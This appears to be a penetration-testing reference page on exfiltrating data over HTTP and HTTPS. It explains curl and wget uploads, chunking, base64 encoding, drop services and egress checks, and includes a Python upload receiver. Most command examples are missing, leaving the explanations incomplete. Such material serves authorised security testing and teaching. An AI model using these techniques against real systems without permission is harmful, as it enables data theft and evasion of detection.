Data Exfiltration over HTTP and HTTPS
HTTP and HTTPS exfiltration works when SSH is blocked but outbound web traffic is permitted: common in environments with egress filtering that allows port 80 and 443. For exfiltrating data through injection vulnerabilities rather than post-exploitation access, see out-of-band data exfiltration. HTTPS blends with normal browsing and application traffic and is rarely inspected at the content level. You need a receiver on your attacker machine: a netcat listener, a Python HTTP server with upload support, or a simple web application endpoint.
Methods covered on this page:
- curl POST with
--data-binaryfor raw file uploads - curl multipart form upload with
-F - wget
--post-filewhen curl is absent - Chunked transfer with
splitfor large files - Base64 encoding for text-only receivers
- External drop services as intermediaries
Stage and compress data before transferring. See Staging and Compressing Data for Exfiltration.
Setting Up a Receiver
The simplest receiver is a Python HTTP server with upload support. Save this on your attacker machine and run it:
import http.server, os
class UploadHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length)
fname = self.path.strip('/')
open(fname or 'upload', 'wb').write(data)
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', $LPORT), UploadHandler).serve_forever()
Alternatively, use netcat to catch a raw POST body:
curl: POST File Upload
Upload a binary file:
With a custom header to pass metadata:
Over HTTPS: if your receiver has a self-signed certificate:
-k skips certificate verification.
curl: Multipart Form Upload
Some receivers expect multipart form data:
wget: POST Upload
wget supports POST but is less flexible than curl for binary uploads. Use it when curl is absent:
Chunked Transfer for Large Files
Split the archive before sending to avoid triggering size-based detection or hitting upload limits:
Reassemble on the attacker machine:
Base64 Encoding in the Request Body
When the receiver only accepts text (a web application endpoint, a form field, an API), encode first:
-w 0 disables line wrapping. Decode on the receiving end:
Using an External Service as a Drop
When your attacker machine is not directly reachable, use an intermediary. Paste services, file hosts, and webhook services can all act as drops: but avoid sending sensitive credential material to third-party infrastructure in real engagements. This approach is useful in lab environments or when using a controlled intermediary.
Checking Egress for HTTP and HTTPS Data Exfiltration
Confirm outbound HTTP/HTTPS is permitted from the target before committing to this channel:
If no response, the port is blocked. Try 443 or 8080 next.
References
-
curl manual Full reference for --data-binary, -F multipart, -X, and -k options.
-
GNU Wget ManualDOCS: GNU Wget Manual, www.gnu.org/software/wget/manual/wget.html (opens in new tab)
Reference for --post-file and output options.